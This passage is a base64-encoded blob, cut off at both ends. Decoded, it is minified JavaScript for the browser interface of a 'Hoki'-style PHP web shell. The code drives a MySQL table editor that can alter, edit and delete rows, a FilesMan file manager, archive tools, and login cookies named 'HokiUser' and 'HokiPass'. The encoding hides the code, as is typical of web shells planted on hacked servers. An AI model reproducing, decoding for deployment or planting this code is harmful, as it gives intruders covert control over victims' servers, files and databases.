4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoI
iMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93Iiku
aW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5
xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixob2tpTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKS
xkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBob2tpTXlzcWxBb
HRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRl
KCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmF
tZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxob2tpTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7aG9raTI6ImFsdGVyIn
19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBob2tpTXlzcWxTZWFyY2goZSl7dmFyI
HQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNx
bC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5
vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGhva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2
hva2kyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksaG9raU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5L
XJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGhva2lNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgi
ZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1
lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7aG9raU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0Ontob2
tpMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1Y
jhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFy
ZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSc
iK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaX
Ygc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0naG9raU15c3FsVXBkYXRlUm93K
HRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVy
SFRNTD1zLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R
5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYm
xTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe
3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBob2tpTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0
ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3R
pb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTtob2tpTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dG
FibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0Ontob2tpMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlc
nlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2Vs
ZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBob2tpTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSg
iZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaW
J1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxb
F90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9w
ZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2hva2kyOnN9fSxmdW5jdGlvbihlKXt
pZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZX
Jyb3J9fSl9ZnVuY3Rpb24gaG9raU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiT
UVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwi
VElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJ
USU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTF
RJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByI
GluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3Jd
PT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGhva2lNeXNxbEN
oYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QX
R0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0Q
XR0cmlidXRlKCJ0YmxfbmFtZSIpO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2hva2kyOiJwYWdlIn19LGZ1bmN0
aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiB
ob2tpUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gaG9raUxvZ091dCgpe2hva2lSZW1vdmVDb29raWUoIkhva2lVc2VyIiksaG9raVJlbW92ZUNvb2tpZSgiSG9raVBhc3MiKS
xsb2NhdGlvbi5yZWxvYWQoKX12YXIgaG9raUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tY
XJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdyci
bXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWx
lbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS
1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZ
SIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxk
KHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh
1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3
QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZ
XRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFy
ZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBob2tpU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD0
9PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgaG9raUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW
5jdGlvbiBob2tpU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4d
HJhY3QiPT1hPyhob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUi
KS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGhva2lfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSk
sZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaX
ZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyI
HQ9IiNmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2go
ZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5
jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc2
9sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzc
WwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxl
Y3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWw
tY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV
93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlL
XRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0
aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWV
hZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciPjwvZGl2PjxkaXYgY2xhc3M9InNxbC1uZXd0YWIiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTtnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXC
csXCdcJyk7IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojODAwMDAwOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IFRhYiArPC9zcGFuPjwvZGl2PicpLCQoaSkucXVlcnlTZWxlY3RvckFsbCgiLmRiLW9wdC1pZCIpLmZvc
kVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImRiX2lkIixpKX0pO3RyeXskKGkpLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGkpfWNhdGNoKGUpe31yZXR1cm4gaX0kKHQpLmlubmVySFRN
TD1lO3ZhciBsPSQoInRhYl8iK3QpO251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIil8fGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9
uZSIpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiREI6ICIrbC5pbm5lclRleHQpKSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKS
ksdm9pZCAwIT09bXlzcWxfY2FjaGVbdF0mJm15c3FsX2NhY2hlW3RdLmhhc093blByb3BlcnR5KCJkYiIpJiZteXNxbF9jYWNoZVt0XS5kYi5sZW5ndGg+MCYmInVwZGF0ZSIhPWEmJihkLnF1ZXJ5U2VsZWN0b3IoIiN0YWJfIit0KyI+c3BhbiIpL
mlubmVySFRNTD1teXNxbF9jYWNoZVt0XS5kYiksJCh0KS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLHQpfSk7dHJ5eyQodCkucXVlcnlTZWxlY3RvcigiLmdl
